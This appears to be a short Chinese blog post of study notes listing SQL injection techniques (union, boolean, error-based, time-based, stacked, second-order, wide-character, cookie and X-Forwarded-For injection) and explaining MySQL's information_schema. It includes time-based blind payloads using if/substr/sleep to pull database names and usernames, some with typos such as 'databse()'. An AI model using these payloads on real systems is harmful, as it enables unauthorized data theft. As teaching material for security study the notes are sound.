SQL注入

union注入

 

boolean注入

 

报错注入

 

时间注入语句:

if(expr1,expr2,expr3)  :若expr1为true,则执行expr2,否则执行expr3.

判断数据库库名长度: and if(length(databse())>1,sleep(5),1)

判断数据库库名:and if(substr(databse(),1,1)='t',sleep(5),1)

判断表名:and if(substr((select column_name from information_schema.columns where table_schema='database()' and table_name='users' limit 0,1),1,1)='t',sleep(5),1)

判断内容:and if(substr((select username from test.users limit 0,1),1,1)='z',sleep(5),1)

 

 

base64注入

源码对参数通过base64_encode()加密了

 

xff

在X_FORWORD_FOR参数处注入

 

堆叠注入

利用mysql能同时执行两个命令的特性。第二个命令不回显的情况下,可以与时间注入结合使用。

 

二次注入

 

第一次没有注入点

存在注入点的位置为第二次内部查询的时候

 

宽字符注入

addslashes()这个函数会将'转译成\

gbk编码%df和\的编码%5c合并为一个字符

从而'可以逃逸

 

 

cookie注入

从cookie头部传入id参数

 

 

分类:

根据注入点位置:POST、GET、cookie、xff等

根据注入点类型:字符型、数字型、搜索型

根据执行效果:报错注入、布尔盲注、时间延时

 

 

 

 

 

 

问:在Mysql5.0以上和Mysql5.0以下的版本中最大的区别是什么?
答:在Mysql5.0以上的版本中加入了一个information_schema这个系统表,这个系统表中包含了该数据库的所有数据库名、表名、列表,可以通过SQL注入来拿到用户的账号和口令,而Mysql5.0以下的只能暴力跑表名;5.0 以下是多用户单操作,5.0 以上是多用户多操作。

posted @ 2021-01-28 11:44  任尔东西南北风  阅读(49)  评论(0编辑  收藏  举报